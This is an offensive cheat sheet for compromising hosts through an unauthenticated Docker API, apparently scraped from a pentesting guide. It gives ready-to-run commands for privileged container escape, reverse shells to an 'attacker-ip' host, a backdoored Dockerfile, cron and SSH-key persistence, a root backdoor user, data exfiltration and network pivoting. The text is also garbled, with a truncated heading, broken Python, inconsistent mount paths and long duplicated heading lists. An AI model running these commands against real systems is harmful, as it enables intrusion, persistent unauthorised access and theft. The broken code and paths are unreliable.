Docker API

Docker is a containerization platform that allows developers to package applications and their dependencies into isolated containers. The Docker API provides remote management capabilities, enabling administration of Docker hosts over the network. When exposed without proper authentication, it can lead to complete host compromise.

Connect

Using Docker Client

The Docker CLI can connect to remote Docker daemons for management and exploitation:

et Persistent Connection (Unencrypted)

export DOCKER_HOST="tcp://target.com:2375"
docker ps

Set Persistent Connection with TLS

export DOCKER_HOST="tcp://target.com:2376"
export DOCKER_TLS_VERIFY=1
docker --tlsverify ps

Execute One-Time Commands

# Unencrypted
docker -H tcp://target.com:2375 ps

# With TLS
docker -H tcp://target.com:2376 --tlsverify ps

Using cURL

cURL allows direct interaction with the Docker REST API for enumeration and exploitation: Get Docker Version Information

curl http://target.com:2375/version

List All Containers

curl http://target.com:2375/containers/json

List Available Images

curl http://target.com:2375/images/json

Retrieve System Information

curl http://target.com:2375/info

Using Docker API Directly

# Python example
import. docker

client = docker.DockerClient base_url='tcp://target.com:2375'
print(client.containers.list())
print(client.images.list())
# Recon
## Service Detection with Nmap

Use Nmap to check if the Docker API is exposed and determine if it requires authentication.

Basic Port and Version Detection

nmap -p 2375,2376 -sV target.com

Docker Information Scripts

nmap -p 2375 --script docker-version,docker-info target.com

Identify the Docker version and gather initial information about the Docker daemon using various tools.

Using Netcat

nc -vn target.com 2375

Using cURL for Version Information

curl -s http://target.com:2375/version

Get Detailed Information with JSON Parsing

curl -s http://target.com:2375/version | jq .
curl -s http://target.com:2375/info | jq .

Check Authentication

Determine if the Docker API requires authentication and test different connection methods.

Test Unencrypted Authentication

curl -s http://target.com:2375/containers/json

# If returns container list: No authentication
# If returns error: Authentication required
# If connection refused: Service not exposed or firewall

Test TLS Connection

openssl s_client -connect target.com:2376

Enumeration

Container Enumeration

Listing containers reveals running applications, their configurations, and potential attack targets.

List Running Containers

docker -H tcp://target.com:2375 ps

List All Containers

docker -H tcp://target.com:2375 ps -a

Get Container Details

docker -H tcp://target.com:2375 inspect <container_id>

Using API Directly

curl http://target.com:2375/containers/json?all=1

Check Container Processes

docker -H tcp://target.com:2375 top <container_id>

Image Enumeration

Docker images can contain sensitive information, credentials, and application secrets.

List Available Images

docker -H tcp://target.com:2375 images

Get Image Details

docker -H tcp://target.com:2375 inspect <image_id>

View Image History

docker -H tcp://target.com:2375 history <image_id>

Using API for Images

curl http://target.com:2375/images/json

Network Enumeration

Discover Docker networks and their configurations to understand container communication.

List Docker Networks

docker -H tcp://target.com:2375 network ls

Inspect Network Details

docker -H tcp://target.com:2375 network inspect bridge

Using API for Networks

curl http://target.com:2375/networks

Volume Enumeration

Identify Docker volumes that may contain persistent data or sensitive information.

List Docker Volumes

docker -H tcp://target.com:2375 volume ls

Inspect Volume Details

docker -H tcp://target.com:2375 volume inspect <volume_name>

Using API for Volumes

curl http://target.com:2375/volumes

System Information

Gather comprehensive information about the Docker daemon and host system.

Get Docker Information

docker -H tcp://target.com:2375 info

Get Docker Version

docker -H tcp://target.com:2375 version

Check Disk Usage

docker -H tcp://target.com:2375 system df

Using API for System Info

curl http://target.com:2375/info | jq .
curl http://target.com:2375/version | jq .

Attack Vectors

Container Escape via Privileged Container

Privileged containers bypass security restrictions and allow direct access to the host system. This is one of the most effective methods for escaping container isolation and gaining root access to the underlying host.

Creating Privileged Container

docker -H tcp://target.com:2375 run -it --privileged \
  --pid=host --net=host --ipc=host \
  -v /:/host ubuntu /bin/bash

Accessing Host System

cd /hostfs
cat /hostfs/etc/shadow

Establish Persistence

# Write SSH key for persistence
mkdir -p /hostfs/root/.ssh
echo "ssh-rsa AAAA..." > /hostfs/root/.ssh/authorized_keys
chmod 600 /hostfs/root/.ssh/authorized_keys

Reverse Shell via New Container

Create new containers with reverse shell capabilities to establish remote access to the Docker host.

Create Container with Bash Reverse Shell

docker -H tcp://target.com:2375 run -d \
  ubuntu /bin/bash -c \
  "bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

Create Container with Netcat Reverse Shell

docker -H tcp://target.com:2375 run -d \
  ubuntu nc attacker-ip 4444 -e /bin/bash

Mount Host and Execute Reverse Shell

docker -H tcp://target.com:2375 run -d \
  -v /:/hostfs ubuntu \
  /bin/bash -c "chroot /hostfs bash -i >& /dev/tcp/attacker-ip/4444 0>&1"

Execute Commands in Existing Container

Execute commands within running containers to gain access and perform reconnaissance.

Execute Single Command

docker -H tcp://target.com:2375 exec <container_id> whoami

Get Interactive Shell

docker -H tcp://target.com:2375 exec -it <container_id> /bin/bash

Execute as Root

docker -H tcp://target.com:2375 exec -u root -it <container_id> /bin/bash

Using API for Command Execution

curl -X POST -H "Content-Type: application/json" \
  http://target.com:2375/containers/<container_id>/exec \
  -d '{"AttachStdin":true,"AttachStdout":true,"AttachStderr":true,"Cmd":["/bin/bash"],"DetachKeys":"ctrl-p,ctrl-q","Privileged":false,"Tty":true}'

Image Backdooring

Create malicious Docker images with backdoors to establish persistent access or compromise other systems.

Pull Legitimate Image

docker -H tcp://target.com:2375 pull ubuntu

Create Malicious Dockerfile

cat > Dockerfile <<EOF
FROM ubuntu
RUN apt-get update && apt-get install -y netcat
CMD ["nc", "-lvp", "4444", "-e", "/bin/bash"]
EOF

Build and Deploy Backdoored Image

# Build backdoored image
docker build -t ubuntu:backdoor .

# Save and upload
docker save ubuntu:backdoor > backdoor.tar
curl -X POST -H "Content-Type: application/x-tar" \
  --data-binary @backdoor.tar \
  http://target.com:2375/images/load

Docker Socket Abuse

Exploit containers that have the Docker socket mounted, allowing control of the Docker daemon from within a container.

Check for Docker Socket

ls -la /var/run/docker.sock

Control Docker from Container

docker -H unix:///var/run/docker.sock ps

Escape to Host

docker -H unix:///var/run/docker.sock run -it \
  -v /:/hostfs ubuntu chroot /hostfs /bin/bash

Secrets Extraction

Extract sensitive information including secrets, credentials, and configuration data from Docker containers and images.

List Docker Swarm Secrets

docker -H tcp://target.com:2375 secret ls

Inspect Secret Details

docker -H tcp://target.com:2375 secret inspect <secret_id>

Search for Sensitive Files

docker -H tcp://target.com:2375 exec <container_id> \
  find / -name "*.key" -o -name "*credential*" -o -name "*.pem" 2>/dev/null

Check Environment Variables

docker -H tcp://target.com:2375 exec <container_id> env

Inspect Container Configuration

docker -H tcp://target.com:2375 inspect <container_id> | grep -i "env\|secret\|password"

Post-Exploitation

Host Takeover

Gain complete control over the Docker host system through various persistence and privilege escalation methods.

Create Privileged Container

docker -H tcp://target.com:2375 run -it --rm --privileged \
  --pid=host --net=host -v /:/host alpine \
  chroot /host /bin/bash

Establish Cron Job Persistence

docker -H tcp://target.com:2375 run -v /etc:/hostfs/etc alpine \
  sh -c 'echo "* * * * * root bash -i >& /dev/tcp/attacker-ip/4444 0>&1" >> /hostfs/etc/crontab'

Add SSH Key for Access

docker -H tcp://target.com:2375 run -v /root:/hostfs/root alpine \
  sh -c 'mkdir -p /hostfs/root/.ssh && echo "ssh-rsa AAAA..." >> /hostfs/root/.ssh/authorized_keys'

Create Backdoor User

docker -H tcp://target.com:2375 run -v /etc:/hostfs/etc alpine \
  sh -c 'echo "backdoor:x:0:0::/root:/bin/bash" >> /hostfs/etc/passwd && echo "backdoor:password_hash" >> /hostfs/etc/shadow'

Container Persistence

Create persistent backdoor containers that maintain access even after system restarts.

Create Persistent Backdoor Container

docker -H tcp://target.com:2375 run -d --name backdoor \
  --restart always \
  -p 4444:4444 \
  ubuntu nc -lvp 4444 -e /bin/bash

Verify Container Status

docker -H tcp://target.com:2375 ps | grep backdoor

Data Exfiltration

Extract sensitive data from containers and host systems for analysis or exfiltration.

Copy Files from Container

docker -H tcp://target.com:2375 cp <container_id>:/etc/passwd /tmp/passwd

Export Container Filesystem

docker -H tcp://target.com:2375 export <container_id> > container.tar
tar -xf container.tar

Backup Host Data

docker -H tcp://target.com:2375 run -v /:/hostfs alpine \
  tar czf /tmp/backup.tar.gz /hostfs/etc /hostfs/root /hostfs/home

Download Archive

docker -H tcp://target.com:2375 cp <container_id>:/tmp/backup.tar.gz .

Registry Access

Access private Docker registries to extract images and search for sensitive information.

Pull Images from Private Registry

docker -H tcp://target.com:2375 pull registry.company.com/app:latest

Extract Image Contents

docker -H tcp://target.com:2375 save registry.company.com/app:latest > app.tar
tar -xf app.tar

Search for Credentials

grep -r "password\|secret\|key" .

Network Pivoting

Use Docker containers to pivot into internal networks and access additional systems.

Create Host Network Container

docker -H tcp://target.com:2375 run -it --net=host \
  alpine /bin/sh

Install Network Tools

apk add nmap

Scan Internal Networks

nmap -sn 192.168.0.0/24
nmap -p- 192.168.0.100

Setup SOCKS Proxy

docker -H tcp://target.com:2375 run -d \
  -p 1080:1080 \
  serjs/go-socks5-proxy

Use Proxy for Pivoting

# Edit /etc/proxychains.conf
# socks5 target.com 1080
proxychains nmap -sT 192.168.0.0/24

Container Modification

Modify existing containers and images to create persistent backdoors or extract sensitive information.

Commit Container as New Image

docker -H tcp://target.com:2375 commit <container_id> backdoored:latest

Export and Analyze Image

docker -H tcp://target.com:2375 save backdoored:latest > backdoored.tar

Modify Image Layers

# Extract tar
tar -xf backdoored.tar
# Modify layer contents
# Repackage
tar -cf modified.tar *
# Load back
docker -H tcp://target.com:2375 load < modified.tar

Common Docker Commands

Command	Description	Example Usage
`docker ps`	List running containers	`docker -H tcp://target:2375 ps`
`docker ps -a`	List all containers (including stopped)	`docker -H tcp://target:2375 ps -a`
`docker images`	List available container images	`docker -H tcp://target:2375 images`
`docker exec`	Execute a command inside a running container	`docker -H tcp://target:2375 exec -it <container_id> /bin/bash`
`docker run`	Create and start a new container	`docker -H tcp://target:2375 run -it ubuntu`
`docker inspect`	Display detailed information about a container or image	`docker -H tcp://target:2375 inspect <container_id>`
`docker logs`	View logs from a container	`docker -H tcp://target:2375 logs <container_id>`
`docker cp`	Copy files between a container and the local system	`docker -H tcp://target:2375 cp <container_id>:/path/to/file .`

Docker API Endpoints

Endpoint	Method	Description
`/version`	`GET`	Retrieve Docker Engine version information
`/info`	`GET`	Retrieve Docker daemon and system information
`/containers/json`	`GET`	List containers
`/containers/create`	`POST`	Create a new container
`/containers/{id}/start`	`POST`	Start an existing container
`/containers/{id}/exec`	`POST`	Create an exec instance to run a command in a container
`/images/json`	`GET`	List locally available images
`/images/create`	`POST`	Pull an image from a registry
`/networks`	`GET`	List Docker networks
`/volumes`	`GET`	List Docker volumes

Useful Tools

Tool	Description	Primary Use Case
Docker CLI	Official Docker command-line client	Container management
Docker SDK for Python (`docker-py`)	Python library for interacting with the Docker API	Automation and scripting
Docker Compose	Multi-container orchestration tool	Deploying and managing multi-container applications
Docker Bench for Security	Docker security auditing tool	Configuration and security assessment
Dive	Docker image layer explorer	Image analysis and optimization
Trivy	Container and image vulnerability scanner	Image security scanning
docker-explorer	Docker forensics and investigation tool	Container investigation and incident response

Connect

Using Docker Client​

The Docker CLI can connect to remote Docker daemons for management and exploitation:​

et Persistent Connection (Unencrypted)​

Set Persistent Connection with TLS​

Execute One-Time Commands​

Using cURL​

List All Containers​

List Available Images​

Retrieve System Information​

Using Docker API Directly​

Basic Port and Version Detection​

Docker Information Scripts​

Banner Grabbing​

Using Netcat​

Using cURL for Version Information​

Get Detailed Information with JSON Parsing​

Check Authentication​

Determine if the Docker API requires authentication and test different connection methods.​

Test TLS Connection​

Enumeration

Container Enumeration​

List Running Containers​

List All Containers​

Get Container Details​

Using API Directly​

Check Container Processes​

Image Enumeration​

List Available Images​

Get Image Details​

View Image History​

Using API for Images​

Network Enumeration​

List Docker Networks​

Inspect Network Details​

Using API for Networks​

Volume Enumeration​

List Docker Volumes​

Inspect Volume Details​

Using API for Volumes​

System Information​

Get Docker Information​

Get Docker Version​

Check Disk Usage​

Using API for System Info​

Attack Vectors

Container Escape via Privileged Container​

Creating Privileged Container​

Accessing Host System​

Establish Persistence​

Create Container with Bash Reverse Shell​

Create Container with Netcat Reverse Shell​

Mount Host and Execute Reverse Shell​

Execute Commands in Existing Container​

Execute Single Command​

Get Interactive Shell​

Execute as Root​

Using API for Command Execution​

Image Backdooring​

Pull Legitimate Image​

Create Malicious Dockerfile​

Build and Deploy Backdoored Image​

Docker Socket Abuse​

Check for Docker Socket​

Control Docker from Container​

Escape to Host​

Secrets Extraction​

List Docker Swarm Secrets​

Inspect Secret Details​

Search for Sensitive Files​

Check Environment Variables​

Inspect Container Configuration​

Post-Exploitation

Host Takeover​

Create Privileged Container​

Establish Cron Job Persistence​

Add SSH Key for Access​

Create Backdoor User​

Container Persistence​

Create Persistent Backdoor Container​

Using Docker Client

The Docker CLI can connect to remote Docker daemons for management and exploitation:

et Persistent Connection (Unencrypted)

Set Persistent Connection with TLS

Execute One-Time Commands

Using cURL

List All Containers

List Available Images

Retrieve System Information

Using Docker API Directly

Basic Port and Version Detection

Docker Information Scripts

Banner Grabbing

Using Netcat

Using cURL for Version Information

Get Detailed Information with JSON Parsing

Check Authentication

Determine if the Docker API requires authentication and test different connection methods.

Test TLS Connection

Container Enumeration

List Running Containers

List All Containers

Get Container Details

Using API Directly

Check Container Processes

Image Enumeration

List Available Images

Get Image Details

View Image History

Using API for Images

Network Enumeration

List Docker Networks

Inspect Network Details

Using API for Networks

Volume Enumeration

List Docker Volumes

Inspect Volume Details

Using API for Volumes

System Information

Get Docker Information

Get Docker Version

Check Disk Usage

Using API for System Info

Container Escape via Privileged Container

Creating Privileged Container

Accessing Host System

Establish Persistence

Create Container with Bash Reverse Shell

Create Container with Netcat Reverse Shell

Mount Host and Execute Reverse Shell

Execute Commands in Existing Container

Execute Single Command

Get Interactive Shell

Execute as Root

Using API for Command Execution

Image Backdooring

Pull Legitimate Image

Create Malicious Dockerfile

Build and Deploy Backdoored Image

Docker Socket Abuse

Check for Docker Socket

Control Docker from Container

Escape to Host

Secrets Extraction

List Docker Swarm Secrets

Inspect Secret Details

Search for Sensitive Files

Check Environment Variables

Inspect Container Configuration

Host Takeover

Create Privileged Container

Establish Cron Job Persistence

Add SSH Key for Access

Create Backdoor User

Container Persistence

Create Persistent Backdoor Container

Verify Container Status

Data Exfiltration

Copy Files from Container

Export Container Filesystem